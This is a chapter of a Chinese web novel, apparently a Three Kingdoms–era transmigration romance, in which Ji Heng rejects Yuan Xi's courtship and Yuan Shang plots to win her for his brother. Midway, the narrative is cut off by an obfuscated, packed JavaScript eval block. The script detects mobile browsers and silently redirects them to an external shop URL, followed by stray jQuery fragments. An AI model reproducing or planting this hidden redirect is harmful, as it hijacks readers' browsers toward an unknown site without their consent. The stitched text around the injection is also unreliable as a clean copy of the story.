深秋的夜很快化作饕餮，吞尽天幕的光。
薛婉陪君姑张氏简单用了些斋饭，又盯着程乳媪将孩子哄睡着，才姗姗回到房间。
“我看不太好，隔辈养大的娃娃，要么太娇纵跋扈，比如我家那个浑侄儿定昌，简直混世魔王；要么就像十三堂叔家的月丫头，是个怯懦的闷腔儿，竟显得有些小家子气……”
刚进门，她原是和引棠说着闲话，没想到甄尧这个时候还背手站在窗下，转而奚落：“诶，哪来的憨子，大晚上敞着个窗吹风，冷不冷啊？”
可那人却没搭理她，似乎正沉思得出了神。
薛婉忍住脾气，摆摆手，谕引棠瀹茗，而后大声吓道：“甄叔崖！莫不是给冻傻了？”
她对着铜镜，卸下翠珰和珠钗，边念叨，“你不怕伤风，我还怕你没分寸传染给渠儿。”
“在，”甄尧这才恍然应答，“我在。”
薛婉虽恼，多少反被气笑了：“你在哪？你该上了天了！这是怎么魂不守舍的，还苦着张脸？只道袁熙今日在我们府上，你是做了什么，叫他给你气受了？”
闻此，甄尧冷哼一声，颓丧地坐到卧榻上：“该问问咱家的好妹妹，她做了什么大好事。”
“五娘？她最近挺乖的呀，终日待在屋里读书，大门不出、二门不迈的。”薛婉瞪亮了眼睛，早已睡意全无，比起担心，更好奇些，“究竟怎么了？”
说是季蘅今日去耦闲轩捡掉落的风筝，正巧袁熙当时就倚坐在窗边，便这样出其不意地四目对望了。
遇着朝思暮想的人，袁熙惊喜又惶恐，脑子仍有些发懵，忽忆起昨夜之状——他躺在软榻上难眠，不断回味那日女子贴着自己的胸膛，用冰冷柔软的手抚过自己面庞，待恍惚睡着，竟做了一个春光旖旎的绮梦，半夜醒来，鼓鼓囊囊的亵裤之下已然湿透……
“公子？”
半晌才恍过神，已是红透了耳根，磕磕绊绊的，仓促邀季蘅进屋。
“弥儿会下棋么？”
气氛尴尬，袁熙瞥见桌边的石匣，主动找话聊。
季蘅亦是拘谨，望着杯中热茶有些不知所措，又听他忽地这样问，生怕是想与自己对弈一番，亟亟摇头：“我是个臭棋篓子。”
听到这，袁熙畅然笑道：“好巧，从前与三弟对弈，即便受他让子，我也常输，他便笑我臭棋篓子。”
言语之间，没有半点自嘲的酸气，反倒透着纯真、诚挚，和滔滔不绝的分享意兴，那样欢欣，仿佛是闯进了一片拥挤的花圃，馥香争先恐后地扑面而来。
可惜季蘅心如止水，不知该接些什么话，仅附和地淡然一笑。
彼时，西沉的阳光染红了窗槛，浓得像碗柿汁，以至于她的笑也被衬映得融暖。
只要有机会，袁熙便喜欢直勾勾盯着季蘅看，她的脸很美，总让人不住倒吸一口凉气，哦不，那该是一口来自春天的朝霭。
不知不觉中，又陷入了短暂的沉默，至此，两人表面上都斯抬斯敬，非常客气。
季蘅翘着小指，将手边的茶品慢条斯理地掉了七分，她终于酝酿好情绪，从袖口取出一个荷包，轻轻置于桌面，含蓄道：“多谢公子抬爱，可我从无功劳，与您不过点头之交，实在受之有愧。如今物归原主，也算了结多时的一桩心事。”
是去岁离开邺城前，袁熙托人送的耳珰和那句“我心匪石，不可转也”的承诺。
他愣了愣，双眼茫然：“无妨，你若不喜欢这个，我明日、我今日就去换个更稀罕的。”
“不必了。”季蘅不知对方是真傻还是故意装傻，几分愧疚地欠身告辞，“人生分定，只说个缘法，尤其感情，强求不得。”
说完，便匆匆拿着风筝离开。
最后只剩袁熙一人孤坐，越发铁青了脸。
“她怎么敢的，平素对人家不是矜持得很么？”听甄尧添油加醋地描述完，薛婉不免怔忪，忙诘问，“那袁公子又怎么说？”
“还能如何，就是不小心把我的茶具磕坏个角，脸色比打霜的茄子还难看……”
“这便是真动怒了啊！哎，可怎么是好！”
甄尧无奈摊开手：“感情嘛，总归是两个人的事，旁人干涉不来。”
薛婉皱紧了眉头：“即便真的不喜欢，也不能当面拒绝啊，说不定直接得罪袁家了！”
“已经这样了，就算把女娲娘娘的石头请出来补救也无济于事。好在我了解袁熙，他是个通情达理的，到底不会太迁怒抻练我，夫人不必担心，先歇息吧。”
她摇摇头，叹了声气：“五娘若总是这样心直口快的性子，往后怕是要吃大苦头。”
关于以后能吃多少苦，季蘅还不得而知，眼下，她却因趁早斩断了一枝活不长久的桃花而倍感快慰。
偷偷琢磨：
如果没嫁进袁府，遇见大Boss曹丕的几率就微乎其微了，再客气讨好了孟觉苦，那官渡之后自己也能有个小靠山，往后的生活岂不潇洒快活……
“娘子，娘子。”
细宝递来一碟赭褐色的板栗，见季蘅捧起书册，总盯着某行，动也不动，却不自觉展露微笑。
“您这是看什么高兴呢，也给奴婢说说？”
季蘅这才从无限畅想中抬头，刚刚已经开始琢磨去西川要多少盘缠了。她敛起笑意，忽问：“家里有无武功好的人？”
“成禄啊！”
“他不行，几乎是甄尧的尾巴，形影不离的。”
“卢宽和石康倒都会些拳脚，但不算精，多是自个儿防身。您问这个做什么？”
“乱世险阻，我想着，如果哪天出了冀州，游历四方，是不是还得雇几个侍卫左右？”
“那卢宽他们可就不行了，且不说本领，胆子更是一个比一个小，万一遇上什么草寇马匪的，怕要抢着乞降！”细宝笑说，“至于您要的那些护卫，也不难找。只管有粮有钱，随便一个铜板扔下去，能砸准不少没门道的高手！”
“武功好还是次要，姿貌好当是第一。”季蘅这便开始痴想了，挑几个帅气如小霸王、锦马超、赵子龙的保镖，提枪伴自己出游，多是件人间美事，后世佳话。
“嗯，合该如此。”
缦双瞧着这两人愈发异想天开，不留情面地浇了盆冷水：“莫说离开冀州了，您如今想出邺城都难。”
季蘅一向达观，只道：“不急，我现在好好休养身体，争取活长点，往后总会有机会的。”
所幸丫鬟们都习惯她的“胡说八道”，从来没有什么忌讳。
细宝凑得更近些，撒娇道：“您无论去哪儿，定要带上奴婢。”
“看你表现。”
缦双则在一旁嗔笑：“那感情好啊，养生修命。娘子若真有这个念头，往后可要早些睡，莫贪凉，也不许再挑食了……”
闻此唠叨，季蘅不由拿书卷盖住了脸。
她这个人遇事常有拖延，能缓则缓，可要是铁了心下定了着手，那行动力便如洪河决口，一泻千里。
翌日早晨，她一睡起，就带着丫鬟将近年袁熙送的礼物，悉数整理了出来，全锁进两抬箱子里，并附上名录册子，赶在午膳前，利索送到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177025|149044||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
甄尧的堂屋。
薛婉眯着眼，巴头探脑地量了几遍，最后忍不住问丈夫：“你妹子这是要掀天了？”
“难说，”甄尧捶了捶隐隐作痛的额头，龇牙咧嘴，“整个冀州的野驴圈起来，怕都没她脾气犟！”
季蘅是什么性子？若铁了心要划清界限，恐怕比王母那一簪银汉还决绝。
话虽如此，他也不能真依了妹妹，直接把这烫手山芋般的箱子转交给袁熙，更担心对方还没消气，怠慢疏远自己，现下只好先收进私库里。
而袁府这几日，其实闲得无事，幽州那边屡传捷报，只道公孙瓒像簇摇摇欲坠的残烛，已是日暮途穷了。
“西郊的租子，还劳你吩咐下去多费心。”晚辈几个，照例给刘氏请过安，走出回廊时，文悫君乘隙给两位小叔子交代了些杂务。
袁熙却只神思恍惚地点了点头，不像真听进耳朵里了。
见他摆出副怅然自失的模样，文悫君不由多嘴关照：“二弟近来可是遭遇了什么烦心事？”
“啊，无事，无妨。”袁熙敷衍笑道，“长嫂方才吩咐的，愚弟照办就是。”
跟在身后的袁尚欲言又止，俟大嫂离开后，他才拢身一凑，近乎讨好：“听说鸿楼最近上了批凉州来的新酒，特别香醇，兄长若有空，陪我去转转？”
“你自己玩吧，我今日没兴致。”
“嗐，管甚么在不在兴头上的，有张嘴和舌就行了！”他却硬要拉着人走，“便是陪我尝尝味也好啊！”
虽不情愿，袁熙到底拗不过弟弟，还是被推上了鸿楼。
都说酒后易吐真言，斟了三巡金桂酿，袁尚试探问：“年关在即，那些吃的、穿的、用的、供的……也不知兄长有没有提早预备？”
袁熙大惑不解，瞧了他一眼，闷闷道：“这种事素来不是有后院那些人措置？”
袁尚歪头笑了笑，答：“明年兄长也该加冠了，阿母近来就常提及，有意为你说定一门好亲事。往后成了家，合该由兄长与嫂嫂共执掌。”
现在说这种话，无疑是伤口撒盐了，袁熙冷哼一声，心头更添苦闷，爽性将杯中酒饮尽。
他双目迷离地从怀里摸出一只别致的红蜻蜓，死死盯着，借那酒劲，将被季蘅婉拒的事，都痛诉给弟弟听了。
听完，袁尚怫然切齿：“要我说，兄长，你就是太给那个甄氏的脸了，才叫她有恃无恐至此！”
“你要为兄如何？能如何？”
“不过一个寻常人家的女儿，无权无势，入得咱们袁家人的眼，已是她半生求不来的福分！你呀，直接恳请阿母下聘就是了，何必麻烦多问，那甄家难不成还敢拒了？”
袁熙不由长叹一声，弟弟说的这些，他未必没想过，只是若真将一个人捧到心尖，便再舍不得叫她难过了：“强拧的瓜不甜。”
“呸，什么甜的酸的，解渴爱吃就行。”袁尚啐了一句，受不了对方的烂脾气，他想了想，忽又有了新主意，说，“兄长何必看轻自己，弟弟还有一句真心话，你且随耳一听，虽说那甄氏女敢当面拒你，未必就是真的厌恶，或许欲擒故纵，或许釜底抽薪……也未可知啊！”
“什么？”
他意味深长地笑笑，卖起关子：“兄长若信得过我，便将此事全权交给我办，若是成了，来日喜宴上，多敬我一杯酒就好。”
袁尚只在母亲的寿宴上远远瞧见过季蘅一回，留下的印象不过是：甄尧之妹，有殊色，为二哥所喜。
而这种喜欢，于他的理解而言，就与喜欢一样兵器、一只猫狗、一朵花无异。